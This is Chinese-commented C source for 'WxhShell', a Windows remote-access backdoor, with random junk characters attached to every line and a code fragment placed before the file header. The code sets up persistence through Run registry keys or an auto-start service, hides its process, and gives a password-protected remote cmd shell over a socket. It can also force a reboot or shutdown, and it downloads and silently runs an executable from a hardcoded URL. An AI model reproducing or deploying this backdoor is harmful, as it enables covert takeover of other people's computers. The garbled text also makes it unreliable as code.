    if(Boot(SHUTDOWN)) g< xE}[gF  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); eEBo:Rc9  
    else { q9wObOS$  
    closesocket(wsh); OxPl0-]t  
    ExitThread(0); d>?C?F  
    } tI@aRF=p]2  
    break; ]>Ym   
    } 2F+"v?n=\  
  // 获取shell !Rc %  
  case 's': { {cUGksz]}  
    CmdShell(wsh); 'A>?aUq]:  
    closesocket(wsh); m_;fj~m  
    ExitThread(0); Rc:}%a%e  
    break; kia[d984w  
  } q1q 9W@H  
  // 退出 '}9 Nvr)+  
  case 'x': { < =~=IZ)  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); H[nco#  
    CloseIt(wsh); B~E">}=!  
    break; 0 @!huk  
    }  ?HRS*  
  // 离开 UOFb.FRP>  
  case 'q': { 5'NNwc\  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); PJ; WNo8  
    closesocket(wsh); 8^^ 1h  
    WSACleanup(); (~eS$8>.  
    exit(1); _?:jZ1wZ  
    break; p5$}h,7  
        } aXQS0>G%(  
  } Ovc9x\N  
  } zt: !hM/Vt  
(D%vN&F  
  // 提示信息 1&! i:F#  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); y~\ujp_5w  
} jan}}7Dly  
  } {j9TzR  
Mib .,J~  
  return; >vp4R`  
} triU^uvh  
VS/M@y_./  
// shell模块句柄 {QM rgyQ E  
int CmdShell(SOCKET sock) )-_^vB  
{ BW7AjtxQ&  
STARTUPINFO si; 2L1y4nnbwo  
ZeroMemory(&si,sizeof(si)); :-}K:ucaj  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; TdgK.g 4  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; &Gh0f"?  
PROCESS_INFORMATION ProcessInfo; zawu(3?~)5  
char cmdline[]="cmd"; sJ|pR=g)!  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); @KK6JyOTQ  
  return 0;  I8?  
} gMI%!Y  
$KYGQP  
// 自身启动模式 llP V{  
int StartFromService(void) sNDo@u7  
{ VkFh(Br<{  
typedef struct E%bhd4$G  
{ aO(PVS|P  
  DWORD ExitStatus; MvpJ0Y (  
  DWORD PebBaseAddress; Nu6NyYs  
  DWORD AffinityMask; QFx3N%  
  DWORD BasePriority; 4CF;>b f~  
  ULONG UniqueProcessId; p[C"K0>:_F  
  ULONG InheritedFromUniqueProcessId; oRCc8&  
}   PROCESS_BASIC_INFORMATION; oh8:1E,I  
eL SzGbKf  
PROCNTQSIP NtQueryInformationProcess; `[sFh%:  
}n==^2  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; `MVqd16Y  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; W<)P@_+-  
>}V?GK36  
  HANDLE             hProcess; ,/w*sE  
  PROCESS_BASIC_INFORMATION pbi; 'GJB9i+a^  
vN{@c(=g  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 1(o\GI3:  
  if(NULL == hInst ) return 0; 5?-HQoT)G  
H.ZIRt !RB  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); }/a%-07R  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); (!nkv^]  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); FW|& iS$  
>1s a*Wf  
  if (!NtQueryInformationProcess) return 0; efQ8jO  
#3rS{4[  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); sC-o'13  
  if(!hProcess) return 0; ^ j\LB23  
gs'M^|e)  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 0zr27ko  
1b9S";ct0  
  CloseHandle(hProcess); _RIU,uJs  
L )JB^cxf  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ;b{#$#`=  
if(hProcess==NULL) return 0; ,{0Y:/T'  
y74Q(  
HMODULE hMod; c[Fc3  
char procName[255]; v+nXKNL  
unsigned long cbNeeded; Y7t#)?  
6(8 F4[D  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); uFWA] ":is  
P =X]'m_B  
  CloseHandle(hProcess); O=o}uB-*6  
JqzoF}WH  
if(strstr(procName,"services")) return 1; // 以服务启动 $nE{%?n-#  
*?m)VvR>|  
  return 0; // 注册表启动 +M=h+3hw](  
} wo`.sB&T  
&ivU4rEG  
// 主模块 #*.!J zOg  
int StartWxhshell(LPSTR lpCmdLine) ~}_^$l8#-Q  
{ ,l>w9?0Z  
  SOCKET wsl; [5P-K{Ko  
BOOL val=TRUE; wiN0|h>,  
  int port=0; oywiX@]~7  
  struct sockaddr_in door; +p\E%<uQ  
9 /H~hEVK  
  if(wscfg.ws_autoins) Install(); $J6 .0O  
v^&HZk=(  
port=atoi(lpCmdLine); `:C1Wo^<  
(pELd(*Ga  
if(port<=0) port=wscfg.ws_port; MD[hqshoh  
^2'Y=g>  
  WSADATA data; IOFXkpK R  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; .F ?ww}2p]  
UuIjtqW  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   q[Ai^79  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); oywPPVxj  
  door.sin_family = AF_INET; K\-N'M!Z  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ' #K@%P  
  door.sin_port = htons(port); |)7K(R)(=  
O8Mypv/C  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { va@;V+cD  
closesocket(wsl); X0j\nXk  
return 1; n~0wq(8M  
} V_ 6K?~j  
OXLB{|hH80  
  if(listen(wsl,2) == INVALID_SOCKET) { M.H!dZ  
closesocket(wsl); Cx;it/8+  
return 1; C 9%bD  
} -, +o*BP  
  Wxhshell(wsl); g;Fd m5Q  
  WSACleanup(); D0#U*tq;  
b$2=w^*  
return 0; -F`gRAr-  
6%EpF;T`  
} @yGnrfr  
xpa+R^D5G  
// 以NT服务方式启动 =)y$&Ydj  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) tLJ 7tnB  
{ e|A=sCN-  
DWORD   status = 0; ="T}mc  
  DWORD   specificError = 0xfffffff; TFbc@rfB  
pe[huYE  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 9on$0  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; UHY)+6qt]  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; uYTyR;a  
  serviceStatus.dwWin32ExitCode     = 0; ;Qd'G7+  
  serviceStatus.dwServiceSpecificExitCode = 0; tklS=R^Vn  
  serviceStatus.dwCheckPoint       = 0; gd3MP^O1  
  serviceStatus.dwWaitHint       = 0; /L,iF?7  
#)D$\0ag  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); Pd:tRY+t/  
  if (hServiceStatusHandle==0) return; M9V,;*  
1b=\l/2  
status = GetLastError(); _uh@fRyh  
  if (status!=NO_ERROR) W*c^(W  
{ Xa8_kv_  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; MMRO@MdfV  
    serviceStatus.dwCheckPoint       = 0; gO~>*q &  
    serviceStatus.dwWaitHint       = 0; F8m@mh*8>  
    serviceStatus.dwWin32ExitCode     = status; a;7gy419<p  
    serviceStatus.dwServiceSpecificExitCode = specificError; o,1Fzdh6(  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); :fG9p`  
    return; &)Wm rF  
  } bir tA{q  
Y%rC\Ij/i  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; d cht8nX7~  
  serviceStatus.dwCheckPoint       = 0; ctC! b{S"@  
  serviceStatus.dwWaitHint       = 0; ``?Z97rH  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ~i@Z4t j7  
} n]JfdI  
yw?UA  
// 处理NT服务事件,比如:启动、停止 {u7_<G7  
VOID WINAPI NTServiceHandler(DWORD fdwControl) d 7QWK(d  
{ F[|aDj@q e  
switch(fdwControl) Y'LIk Q\  
{ Qgv-QcI{  
case SERVICE_CONTROL_STOP: _EZrZB  
  serviceStatus.dwWin32ExitCode = 0; R75np^  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; FU~:9EEx  
  serviceStatus.dwCheckPoint   = 0; w0t||qj^>"  
  serviceStatus.dwWaitHint     = 0; mm<rdo(`  
  { bxg9T(Bj  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Zz04Pz1  
  } RnkrI~x  
  return; ,NaNih1  
case SERVICE_CONTROL_PAUSE: AA,n.;zy<  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; tm}0kWx  
  break; )Wm:Ilq  
case SERVICE_CONTROL_CONTINUE: Xn3Ph!\Z5e  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ;/Dp  
  break; f?A*g$v  
case SERVICE_CONTROL_INTERROGATE: `H6kC$^Ofx  
  break; ebS>_jD  
}; wGf SVA-q\  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); (-(sBQa+  
} LN?W~^gsR  
8?O6IDeW  
// 标准应用程序主函数 0xM\+R~,  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) hIPU%  
{ XaV h.  
&pD6Qq{  
// 获取操作系统版本 AVA hS}*t  
OsIsNt=GetOsVer(); [huS"1  
GetModuleFileName(NULL,ExeFile,MAX_PATH); @4D$Xl  
O#E]a<N`  
  // 从命令行安装 <o";?^0Q  
  if(strpbrk(lpCmdLine,"iI")) Install(); _kb $S  
TC4W7} }  
  // 下载执行文件  IR,`-  
if(wscfg.ws_downexe) { nTweQ  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) dw8Ce8W  
  WinExec(wscfg.ws_filenam,SW_HIDE); 7W6tz\Y  
} Q0I22?  
;5A  
if(!OsIsNt) { bBBW7',[a  
// 如果时win9x,隐藏进程并且设置为注册表启动 Q&;dXE h  
HideProc(); p*8LS7UT  
StartWxhshell(lpCmdLine); {(i>$RG_  
} mVN^X/L(y  
else WUSkN;idVG  
  if(StartFromService()) yT<yy>J9l#  
  // 以服务方式启动 Lf|5miO  
  StartServiceCtrlDispatcher(DispatchTable); V^WR(Q}  
else UW*[)yw]  
  // 普通方式启动 4~8++b1/;  
  StartWxhshell(lpCmdLine); y|1,h}H^n  
][1 *.7-  
return 0; Bkvh]k;F8  
} ,lLkAd?q  
2B{~"<  
1-4iy_d  
."<mL}Fi(  
=========================================== >L F y:a  
&o>ctf.x  
;ZMm6o  
2yk32|  
|[/[*hDZ9  
u6{= Z:  
" X(nbfh?n  
m?I$XAE  
#include <stdio.h> #'N"<o[  
#include <string.h> u-g2*(ZT  
#include <windows.h> WZ @/'[  
#include <winsock2.h> &L[oQni];2  
#include <winsvc.h> ##~";j  
#include <urlmon.h> fG2hCP+  
e|)6zh<O:  
#pragma comment (lib, "Ws2_32.lib") )&R^J;W$M1  
#pragma comment (lib, "urlmon.lib") x _&=IyU0j  
w8$rt  
#define MAX_USER   100 // 最大客户端连接数 a g Za+a  
#define BUF_SOCK   200 // sock buffer es}j6A1  
#define KEY_BUFF   255 // 输入 buffer n]$50_@  
<BoDLvW>  
#define REBOOT     0   // 重启 "J|_1!9  
#define SHUTDOWN   1   // 关机 d1YE$   
_&!%yW@  
#define DEF_PORT   5000 // 监听端口 sHC4iMIw  
U40adP? a  
#define REG_LEN     16   // 注册表键长度 &?\'Z~B4  
#define SVC_LEN     80   // NT服务名长度 $FV!HD  
nO{@p_3mi  
// 从dll定义API _jkH}o '  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ^6*LuXPv  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); F0,-7<G  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); Xq"@Z  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); c5~d^  
{oIv%U9  
// wxhshell配置信息 Ta;'f7Oz  
struct WSCFG { '^Kmfc  
  int ws_port;         // 监听端口 4Y>v+N^  
  char ws_passstr[REG_LEN]; // 口令 @R+bR<}]  
  int ws_autoins;       // 安装标记, 1=yes 0=no 7bBOV(/s  
  char ws_regname[REG_LEN]; // 注册表键名 OE,uw2uaT  
  char ws_svcname[REG_LEN]; // 服务名 0fc]RkHs"  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 }T!2IaAB  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 `? ayc/TK  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 2?; =TJo$  
int ws_downexe;       // 下载执行标记, 1=yes 0=no [H#*#v  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" $,+'|_0yM  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 "m^whHj  
v]*(Wd~|  
}; **I9Nw!IH  
)IIQ{SwQq  
// default Wxhshell configuration JM8 s]&  
struct WSCFG wscfg={DEF_PORT, G$\2@RT9[  
    "xuhuanlingzhe", H*U\P2C!)  
    1, !*8x>,/>  
    "Wxhshell", %y zFWDg  
    "Wxhshell", 7h?yAgDv~  
            "WxhShell Service", ,z}wR::%  
    "Wrsky Windows CmdShell Service", 5[WhjTo  
    "Please Input Your Password: ", h-VpX6  
  1, }`/wj  
  "http://www.wrsky.com/wxhshell.exe", vfT<%Kl!'  
  "Wxhshell.exe" /Cd`h ;#@  
    }; bTzVmqGY  
_`!@  
// 消息定义模块 ^iJMUV|  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; I>b-w;cC  
char *msg_ws_prompt="\n\r? for help\n\r#>"; SM:SxhrGt  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; g0.D36  
char *msg_ws_ext="\n\rExit."; NEQcEUd?  
char *msg_ws_end="\n\rQuit."; pk'@!|g%=  
char *msg_ws_boot="\n\rReboot..."; an3HKfv  
char *msg_ws_poff="\n\rShutdown..."; /p') u3  
char *msg_ws_down="\n\rSave to "; ]?F05!$*  
1QRE-ndc  
char *msg_ws_err="\n\rErr!"; R<mLG $  
char *msg_ws_ok="\n\rOK!"; >Uvtsj#  
3OHP-oa.  
char ExeFile[MAX_PATH]; v8Ncquv  
int nUser = 0; z) 5n&w S  
HANDLE handles[MAX_USER]; lwLK#_5u  
int OsIsNt; k>{i_`*  
kP%W:4l0  
SERVICE_STATUS       serviceStatus; 9#%(%s 2 +  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; O#A1)~  
!?tWWU%P)  
// 函数声明 > c7/E  
int Install(void); u*Oz1~  
int Uninstall(void); ;:*o P(9k  
int DownloadFile(char *sURL, SOCKET wsh); y{ 90A  
int Boot(int flag); :LVM'c62c>  
void HideProc(void); c i7;v9  
int GetOsVer(void); Wnl8XHPn  
int Wxhshell(SOCKET wsl); (W+9 u0Zq  
void TalkWithClient(void *cs); zx(j6  
int CmdShell(SOCKET sock); .mDqZOpf=4  
int StartFromService(void); `#fOY$#XB  
int StartWxhshell(LPSTR lpCmdLine); (Wq9YDD@  
QC<( rx  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); Dr`\  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); z9HQFRbo[  
-xXNzC   
// 数据结构和表定义 NG'VlT  
SERVICE_TABLE_ENTRY DispatchTable[] = RW(AjDM  
{ *BXtE8 BU  
{wscfg.ws_svcname, NTServiceMain}, v/+dx/  
{NULL, NULL} 42 p6l   
}; -(cm  
iZMsN*9[  
// 自我安装 2Fx<QRz  
int Install(void) iqy}|xAU  
{ IJ4"X#Q/  
  char svExeFile[MAX_PATH]; 8~HC0o\2  
  HKEY key; R8'yQ#FVy  
  strcpy(svExeFile,ExeFile); izFu&syv)  
a|nlmH"l  
// 如果是win9x系统,修改注册表设为自启动 W$'pUhq\H  
if(!OsIsNt) { Dx <IS^>i  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { J~_p2TZJ\3  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ?>%u[g   
  RegCloseKey(key); ^7"%eWT`  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { vhL&az  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ,O[vxN1X*  
  RegCloseKey(key); {Y0I A97,  
  return 0; JG( <  
    } ^mJvB[ u|  
  } 6\TstY3  
} Ec\x;li! *  
else { /6q/`vx@  
.R gfP'M  
// 如果是NT以上系统,安装为系统服务 4X\*kF%  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); &R5M&IwL  
if (schSCManager!=0) Cfi2N V  
{ <GNOT"z  
  SC_HANDLE schService = CreateService aJ}sYf^  
  ( OeAPBhTmFj  
  schSCManager, &(rd{j/*  
  wscfg.ws_svcname, A0]o/IBz  
  wscfg.ws_svcdisp, RyhR#  
  SERVICE_ALL_ACCESS, DA wzXsx  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , SW; b E  
  SERVICE_AUTO_START, RdDcMZ  
  SERVICE_ERROR_NORMAL, IRU2/Ycg  
  svExeFile, GawO>7w8  
  NULL, ]OrFW4tiE  
  NULL, _@p|A  
  NULL, :RQ[(zD]  
  NULL, "J.jmR;  
  NULL lC4By,1*  
  ); kC k-  
  if (schService!=0) /iN\)y#u1  
  { NN:TT\!v  
  CloseServiceHandle(schService); ^~aSrREo  
  CloseServiceHandle(schSCManager); bVx]r[  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); D1n2Z :9  
  strcat(svExeFile,wscfg.ws_svcname); <S}qcjG  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { X^W> "q  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 2o$8CR;  
  RegCloseKey(key); [o.zar82  
  return 0; N93E;B  
    } +B m+Pj>  
  } xAjQW=  
  CloseServiceHandle(schSCManager); #{M -3  
} zvf]}mNx  
} /wTf&_"mTL  
nB5[]x'  
return 1; 6.|~~/  
} sb @hGS  
RFJ;hh  
// 自我卸载 'oz = {;  
int Uninstall(void) j0~3[dyqU  
{ "Y!dn|3  
  HKEY key; JF*g!sV%  
 J31M:<  
if(!OsIsNt) { 9oP{Al  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { D-GU"^-9  
  RegDeleteValue(key,wscfg.ws_regname); .$0Ob<.  
  RegCloseKey(key); @q/1m~t  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 2&0<$>  
  RegDeleteValue(key,wscfg.ws_regname); ik *)j  
  RegCloseKey(key); ^\&g^T%  
  return 0; ?@?a}  
  } 5j,qAay9  
} qffSq](D.  
} ig}e@]  
else { K$cIVsfr  
\( <{)GpBi  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); em [F|  
if (schSCManager!=0) 5 ek %d  
{ 6KCmswvE  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); (VaN\+I:T  
  if (schService!=0) S<3!oDBs  
  { [4Faq3T"  
  if(DeleteService(schService)!=0) { p=+*g.,O  
  CloseServiceHandle(schService); bmVgTm&  
  CloseServiceHandle(schSCManager); rm=~^eB  
  return 0; "qTC(F9N$.  
  } C cr+SR2  
  CloseServiceHandle(schService); z|]oM#Gt  
  } C^ " Hj  
  CloseServiceHandle(schSCManager); @'r`(o3z!Z  
} fuD1U}c  
} Q^Z<RA(C  
bEQtVe@`  
return 1; r.wIk0  
} 5Ue^>8-  
kE_@5t7O{  
// 从指定url下载文件 l?JO8^Nn  
int DownloadFile(char *sURL, SOCKET wsh) :@>br+S  
{ 7#9'2dI  
  HRESULT hr; 2b4pOM7W  
char seps[]= "/"; ]EM)_:tRf  
char *token; -hVv  
char *file; o;VkoYV  
char myURL[MAX_PATH]; Kcw1uLb  
char myFILE[MAX_PATH]; UJz4>JF  
$uUb$8 Bu  
strcpy(myURL,sURL); XW~ BEa  
  token=strtok(myURL,seps); :%uyy5AZ  
  while(token!=NULL) =tf@4_  
  { iVq#aXN  
    file=token; ?b@q5Y  
  token=strtok(NULL,seps); Tw}?(\ya  
  } Lov.E3S6;  
z[5Y Z~}*  
GetCurrentDirectory(MAX_PATH,myFILE); AU\xNF3  
strcat(myFILE, "\\"); ycrh5*g  
strcat(myFILE, file); vNC$f(cQ  
  send(wsh,myFILE,strlen(myFILE),0); C`2*2Y%xkG  
send(wsh,"...",3,0); -t%{"y  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); C,|nmlDN  
  if(hr==S_OK) _Sly7_  
return 0; 5w,lw  
else n&0mz1rw  
return 1; B?$01?9V  
lruF96C/Y  
} MPKpS3VS  
0a2$P+p  
// 系统电源模块 L,C? gd@"  
int Boot(int flag) $f<eq7rRe  
{ c$,c`H(~  
  HANDLE hToken; Qb!!J4| !  
  TOKEN_PRIVILEGES tkp; Mvy6"Q:  
--in+  
  if(OsIsNt) { MB ]#%g&  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); d98))G~W  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); :`+|'*b(A  
    tkp.PrivilegeCount = 1; Ci]'G>F@"  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; DAjG *K{  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); a4A`cUt  
if(flag==REBOOT) { c=b+g+*xd  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) "%{,T  
  return 0; QuSV&>T\  
} \ V[;t-  
else { +<pVf%u5  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) hMNJ'i}  
  return 0; u|(Ux~O  
} 8K|J:[7  
  } lemVP'cn  
  else { tl DY k  
if(flag==REBOOT) { 8<YX7e  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) @)o0GHNP  
  return 0; ?TIV2m^?  
} Kb^>X{  
else { Wu4ot0SZ  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 9GO}&7   
  return 0; ?F ce!J  
} cb +l"FI7  
} *3;UAfHv  
Y^ QKp"  
return 1; wAw42{M  
} },rav]  
\,2gTi,=  
// win9x进程隐藏模块 yB.G=90  
void HideProc(void) '0Lov]L  
{ $ K})Q3FNi  
88 {1mA,v  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); t\zbEN  
  if ( hKernel != NULL ) C)OG62  
  { &M[MEO`t8  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); =ai2z2z  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); O16r!6=-n  
    FreeLibrary(hKernel); {=3B)+N  
  } T '.[F  
6a*83G,k  
return; ]BfS270  
} UgC)7 K1  
34z+INkX  
// 获取操作系统版本 +oZH?N4yaM  
int GetOsVer(void) /YFa ;2 W  
{ fJy)STQ4  
  OSVERSIONINFO winfo; :=9<  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 0oSQY[ht/  
  GetVersionEx(&winfo); n3$gx,KL  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) %G[/H.7s-  
  return 1; !" E-\cc'  
  else zT7"VbP  
  return 0; Q_]~0PoH  
} j0x5@1`6G  
> aG=T{  
// 客户端句柄模块 2JZdw  
int Wxhshell(SOCKET wsl) tuxRVV8l  
{ XQ?fJWLU  
  SOCKET wsh; 6\n?4 8x}  
  struct sockaddr_in client; E!! alc{  
  DWORD myID;  $:EG%jl  
]-:6T0JuS  
  while(nUser<MAX_USER) l5k?De_(x  
{ . I==-|  
  int nSize=sizeof(client); ?3q@f\fZ  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); pOA!#Aj)  
  if(wsh==INVALID_SOCKET) return 1; !9]d |8!  
H)>sTST(  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); [T^?Q%h  
if(handles[nUser]==0) x[X`a  
  closesocket(wsh); dv!r.  
else }mk>!B}=  
  nUser++; U~H?4Izl=  
  } PeTA$Yl  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); #xT!E:W '  
h@1!T  
  return 0; |=K_F3aJ  
} .L EY=j!-s  
qP1FJ89H  
// 关闭 socket +Xy*?5E;C  
void CloseIt(SOCKET wsh) sKL:p3r  
{ _#C()Ro*P  
closesocket(wsh); ub K7B |p  
nUser--; ,6,]#R :J  
ExitThread(0); <1"+,}'x  
} L{&U V0q!  
:/N+;- 18  
// 客户端请求句柄  L,LNv  
void TalkWithClient(void *cs) Z?G&.# :  
{ "r'ozf2 \  
=#xK=pRy;  
  SOCKET wsh=(SOCKET)cs; iG<Som  
  char pwd[SVC_LEN]; J'T=q/  
  char cmd[KEY_BUFF]; z(13~38+  
char chr[1]; =^;P#kX  
int i,j; 5:.{oSy7n  
)> a B  
  while (nUser < MAX_USER) { j\&pej  
n/4i|-^  
if(wscfg.ws_passstr) { gm"#:< )  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); %; "@Ah  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); $ &UZy|9  
  //ZeroMemory(pwd,KEY_BUFF); (5Nv8H8|  
      i=0; rNDrp@A>  
  while(i<SVC_LEN) { =/0=$\Ws  
`Ityi}  
  // 设置超时 r(A.<`\   
  fd_set FdRead; LW)H"6v  
  struct timeval TimeOut; zg)sd1@  
  FD_ZERO(&FdRead); qoMfSz"(  
  FD_SET(wsh,&FdRead); =n(3o$r(  
  TimeOut.tv_sec=8; 5VW|fI  
  TimeOut.tv_usec=0; 5 `D-  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 8hanzwoJ:  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); f9$xk|2g  
8jlLUG:g  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); t<iEj"5  
  pwd=chr[0]; 5&Ts7& .  
  if(chr[0]==0xd || chr[0]==0xa) { ,MPB/j^o5!  
  pwd=0; T#@lDpO  
  break; $g9**b@  
  } nuQ]8 -,  
  i++; CT a#Q,  
    } <6TT)t<h  
iSLGwTdLn  
  // 如果是非法用户,关闭 socket g]~h(mI  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ! |waK~jK  
} ji1HV1S  
'wasZ b<^  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); YV% 5y1 i  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); qVqRf.-\  
inb^$v  
while(1) { ^jB8Q  
6d[_G$'nk  
  ZeroMemory(cmd,KEY_BUFF); IzOYduJ.  
}T^cEfX  
      // 自动支持客户端 telnet标准   pL=d% m.W  
  j=0; 8M*PML4r  
  while(j<KEY_BUFF) { gbeghLP[?  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ?^mi3VM  
  cmd[j]=chr[0]; kv,%(en]  
  if(chr[0]==0xa || chr[0]==0xd) { jxa D&4Fs8  
  cmd[j]=0; HW4 .zw  
  break; cq&*.  
  } eivtH P  
  j++; LH 3}d<{  
    } Ab%;Z5$fr  
o}Odw;  
  // 下载文件 iI@jZVk  
  if(strstr(cmd,"http://")) { G&xo1K]  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); RgorkZlVM  
  if(DownloadFile(cmd,wsh)) *%w6 9#D  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); w~_;yQ  
  else .x`M<L#M(  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ?&LZB}1R  
  } scuHmY0  
  else { #j#_cImE  
f)c~cJz<q  
    switch(cmd[0]) { B/5=]R  
  -[= drj9I  
  // 帮助 g~7Ri-"  
  case '?': { ^JI o? R  
